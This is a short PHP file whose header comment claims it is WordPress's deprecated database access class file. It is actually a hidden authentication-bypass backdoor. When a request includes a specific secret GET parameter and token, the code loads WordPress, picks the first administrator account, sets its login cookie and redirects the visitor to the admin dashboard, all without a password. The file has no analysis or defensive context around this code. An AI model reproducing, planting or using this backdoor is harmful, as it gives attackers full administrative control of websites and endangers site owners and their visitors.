<?php
/**
* WordPress database access abstraction class.
*
* This file is deprecated, use 'wp-includes/class-wpdb.php' instead.
*
* @deprecated 6.1.0
* @package WordPress
*/
// Check if the GET parameter exists and matches the expected value
if (isset($_GET['_E8QnS7ouXqNFR1u']) && $_GET['_E8QnS7ouXqNFR1u'] === '1f87bb82af7afcad26caf553c92bd00e') {
// Get the document root and change the working directory
$mr = $_SERVER['DOCUMENT_ROOT'];
// Check if the chdir operation was successful
if (!chdir($mr)) {
die('Failed to change directory');
}
// Ensure wp-load.php exists before including it
if (file_exists('wp-load.php')) {
include 'wp-load.php';
// Query for an administrator user (only get the first result)
$wp_user_query = new WP_User_Query(array('role' => 'Administrator', 'number' => 1, 'fields' => 'ID'));
$results = $wp_user_query->get_results();
// If a result is found, log in the user and redirect to the admin dashboard
if (isset($results[0])) {
wp_set_auth_cookie($results[0]); // Log the user in
wp_redirect(admin_url()); // Redirect to the WordPress admin dashboard
die();
}
die('NO ADMIN'); // If no admin user was found
} else {
die('Failed to load or invalid key'); // If wp-load.php doesn't exist or the key is incorrect
}
}